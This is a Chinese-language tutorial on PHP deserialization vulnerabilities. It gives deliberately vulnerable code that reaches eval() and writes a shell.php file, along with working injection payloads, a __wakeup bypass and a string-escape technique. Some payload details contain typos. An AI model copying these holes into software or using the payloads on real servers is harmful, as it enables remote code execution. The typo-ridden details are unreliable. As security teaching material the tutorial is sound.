php反序列化漏洞学习
漏洞成因
程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果
一般程序在创建的时候,都会重写析构函数和构造函数,反序列化就是利用这些重写的函数。
什么是序列化、反序列化
序列化:将对象转换成字节序列的过程。即将对象转换成字符串,因为可持久保存,可以进行网络传输
反序列化:将字节序列恢复成对象的过程。即将字符串转换成对象。
举个例子吧
demo
<?php class calss_test{ var $a; var $b; public function echo_var(){ echo "this is a :" .$this->a; echo "this is a :" .$this->b; } } $test =new calss_test(); $test->a="first"; $test->b="sechod"; var_dump($test); echo "\n\n=================\n\n"; echo serialize($test); echo "\n\n=================\n\n"; var_dump(unserialize(serialize($test))); ?>
serialize()函数是将对象进行序列化;unserialize()函数是将对象进行反序列化
object(calss_test)#1 (2) { ["a"]=> string(5) "first" ["b"]=> string(6) "sechod" } ================= O:10:"calss_test":2:{s:1:"a";s:5:"first";s:1:"b";s:6:"sechod";} ================= object(calss_test)#2 (2) { ["a"]=> string(5) "first" ["b"]=> string(6) "sechod" }
我们一开始是输出了calss_test对象,然后下面就是对这个calss_test对象进行序列化,生成的一个字符串,最后输出的又将字符串转换回来对象了。
它实际上是对calss_test对象中的属性进行的序列化。
序列化
O:10:"calss_test":2:{s:1:"a";s:5:"first";s:1:"b";s:6:"sechod";} 这个是对对象进行序列化生成的字符串
然后我们来看一下这些都分别代表着什么
O:表示object对象 10:代表对象名的长度 calss_test:是对象名 2:表示有两个属性 s:表示此属性是字符型 1:表示属性名的长度 a:表示属性名 s:表示属性值的类型是字符型 5:表示属性值的长度 first:是属性值 s:表示第二个属性是字符型 1:表示第二个属性名的长度 b:是第二个属性名 s:表示第二个属性的属性值的类型是字符型 6:表示第二个属性值的长度 sechod:表示第二个属性的属性值
他们之间是用冒号来分隔的,{}里面写的都是相关的属性,而属性与属性之间是用分号;来分隔的。
序列化变量类型
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
这个序列化变量类型是从大佬博客中找到的。
PHP中的魔术方法
__wakeup() 反序列化时执行 __destruct() 对象销毁的时候执行 __construct()对象创造的时候执行 __toString()对象被当作一个字符串使用时 __sleep()序列化对象前使用 __call()当调用对象中不存在的方法时自动调用: __get()从不可访问的属性读取数据 __invoke()当把一个对象当作一个函数调用时
其实这些大家都可以在手册里找到的。上面也有十分详细的解释。
注意,PHP里的魔术方法都是以“__”开头的,是以两个横线开头,这里要注意一下,我当时复现漏洞的时候,就一直出错,结果才发现是魔术方法的开头有问题。
漏洞利用
常见漏洞
1 <?php 2 class demo{ 3 function __destruct(){ 4 echo "SOLE...."; 5 eval($_GET['cmd']); 6 } 7 } 8 9 unserialize($_GET['u']); 10 ?>
在这段代码里我们使用了__destruct()魔术方法,我们创建了一个demo对象,然后当对象销毁时,会触发这个方法,再下面就是有一个反序列化函数。一开始我们需要先执行这个反序列化函数的,如何要触发这个方法呢。我们将demo这个对象进行反序列化后,会触发这个方法。然后会输出“SOLE....”,之后我们再为cmd传参就可以利用这个漏洞。
payload:?u=O:4:"demo":0:{}&cmd=phpinfo();
绕过
__wakeup()绕过
__wakeup触发于unserialize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。
我们先来看这个例子
<?php
class test{
var $username='SOLE';
function __wakeup(){
$this->username='this is a wakeup!';
}
function __destruct(){
print_r($this->username);
}
}
$s=$_GET['s'];
unserialize($s);//?s=O:4:"test":0:{}
?>
我们创建了这个student对象,然后我们进行反序列化的时候会触发__wakeup()函数, ?s=O:4:"test":0:{} 这样他便会执行__wakeup()里的内容。
那如果我们把属性个数改一下 ?s=O:4:"test":1:{} 这样就不会__wakeup()方法,造成一个__wakeup()绕过
影响版本 PHP<5.6.25 PHP7 <7.0.10
第二种玩法
这个__wakeup还有一种玩法,看下面例子
1 <?php 2 class Student{ 3 public $name='deelmind'; 4 public $age='20'; 5 function getName(){ 6 return "deelmind"; 7 } 8 function __wakeup(){ 9 echo "__wakeup"."</br>"; 10 echo $this->name."</br>"; 11 //以写入的方式打开shell.php 12 $myfile=fopen("shell.php","w") or die("unable to open file!"); 13 //写入数据 14 fwrite($myfile,$this->name); 15 fclose($myfile); 16 echo "</br>"; 17 } 18 } 19 $Student='O:7:"student":1:{s:4:"name";s:18:"<?php phpinfo() ?>";}'; 20 $s_unserialize=unserialize($Student); 21 print_r($s_unserialize); 22 echo "</br>"; 23 ?>
在触发__wakeup()方法的时候我们可以再反序列化的字符串进行一些修改。像上面那样,在触发__wakeup的时候我们可以把反序列化后的对象写入一个php文件。这个字符串我们可以写入一些带有攻击性的代码。
我们先访问一下
那个name我们改成了<?php phpinfo() ?>,写入了shell.php。因为它这个是代码,所以没有显示,可以查看源代码
我们是把这个代码写入了shell.php里,那我们访问一下shell.php
这样它就会执行这个代码。
反序列化逃逸
php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。我们其实可以利用引号将前面的"}"闭合,然后后面就可以继续输入我们想输入的字符。这样也可会被反序列化成功
就像是这样:
1 O:7:"student":1:{s:4:"name";s:8:"deelmind";} 2 O:7:"student":1:{s:4:"name";s:8:"deelmind";}" ;}
1 <?php 2 function filter($string){ 3 $filter='/p/i'; 4 return preg_replace($filter,'ww',$string); 5 } 6 $username='purplet'; 7 $age='10'; 8 $user=array($username,$age); 9 var_dump(serialize($user)); 10 echo '<pre>'; 11 $r=filter(serialize($user)); 12 var_dump($r); 13 var_dump(unserialize($r)); 14 ?>
这个是过滤了字符p,用'ww'替换掉'p',而且它这个过滤前后的长度都是7。正因为有这个过滤,所以才存在着注入的漏洞。这样我们可以利用这个漏洞修改后面age的值。也就是把后面的都当作是第一个属性的值,然后在后面补上第二个属性,即: ";i:1:s:2:"20";} 然后我们再看这个构造的pyload长度是16,每有一个p就会多出一个字符,然后构造p的话需要再构造16个。然后再加个我们构造的 ";i:1:s:2:"20";} ,即 pppppppppppppppp”;i:1;s:2:”20″;} ,长度就为32了,我们运行一下。
然后就成功逃逸了,后面那个多余的不会执行。有32个w了,长度对得上,自然而然地后面就成了第二个属性的值了。
这种逃逸的技巧:判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,多出两个以上可以这样去构造(这里我已2个为例):也就可以这么理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)
补充
我们了解一些反序列化漏洞的玩法,不过,对于序列化的一些格式还是不太熟悉,先看看常见的类型序列化之后格式是怎么样的
1 <?php 2 $num = 123; 3 $float=1.2; 4 $str='test'; 5 $null=NULL; 6 $bool=true; 7 $arr=array(1,'test','x'=>'b'); 8 class obj{ 9 public $public='public'; 10 protected $protected = 'protected'; 11 private $private ='private'; 12 var $str; 13 function test(){ 14 echo 'test'; 15 } 16 } 17 echo serialize($str)."\n"; 18 echo serialize($num)."\n"; 19 echo serialize($float)."\n"; 20 echo serialize($null)."\n"; 21 echo serialize($bool)."\n"; 22 echo serialize($arr)."\n"; 23 $obj=NEW obj(); 24 echo serialize($obj)."\n"; 25 echo urlencode(serialize($obj)) 26 ?>
这里有数字,字符串,NULL,数组,类,序列化之后的格式,输出结果如下
1 s:4:"test"; 2 i:123; 3 d:1.2; 4 N; 5 b:1; 6 a:3:{i:0;i:1;i:1;s:4:"test";s:1:"x";s:1:"b";} 7 O:3:"obj":4:{s:6:"public";s:6:"public";s:12:" * protected";s:9:"protected";s:12:" obj private";s:7:"private";s:3:"str";N;} 8 O%3A3%3A%22obj%22%3A4%3A%7Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A12%3A%22%00obj%00private%22%3Bs%3A7%3A%22private%22%3Bs%3A3%3A%22str%22%3BN%3B%7D
字符串序列化 s:(字符串长度):(字符串); s代表字符串str
数字序列化 i:(数字) ;i代表整数类型int
浮点数序列化 d:(数字); d代表浮点数double,查了一下php种double和float好像是相同的
NULL序列化 很简单就是N;
布尔序列化 b:(true为1,false为0);
数组序列化 a代表array,a:(数组内的元素数量):{(下标的类型):(下标的值);(元素的类型):(元素的值);}
类序列化 O代表Object,O:(类名的长度):(类名的字符串):(类中成员变量的数量):{(成员变量名的类型):(成员变量名的长度):(成员变量名);(成员变量的值得类型):(成员变量的值的长度):(成员变量名的值);}
这样写的可能不是很准确,如果成员变量的值不是字符串的话相应的写法也要修改,比如是整形的话就是i:(数字)
然后要说一下类的访问控制
public 公有,类成员可以在任何地方被访问,如果不加public默认为公有
protected 受保护,可以被自身或者子类和父类访问到
private 私有 只能被自身访问
从上面序列化的结果可以看到public变量里面长度都是正常的
protected的格式为(%00%00变量名),上面的例子受保护的变量名长度为12,变量名长度为9,剩下3个是%00%00注意不是空格是%00,这也是为什么后面有用url编码打印一次,因为方便看到
private的格式为(%00类名%00变量名)
最后写了个var只是想表达如果不设置访问控制默认为public
1 <?php 2 class ctf{ 3 private $code = ""; 4 function __wakeup(){ 5 $this->code='hack'; 6 7 } 8 function __destruct(){ 9 eval($this->code); 10 } 11 } 12 $code=unserialize($_GET['code']); 13 ?>
这里有两个知识点一个是__wakeup的绕过,还有一个是私有成员变量要写的不一样
pyload: ?code=O:3:"ctf":2:{s:9:"%00ctf%00code";s:10:"phpinfo();";}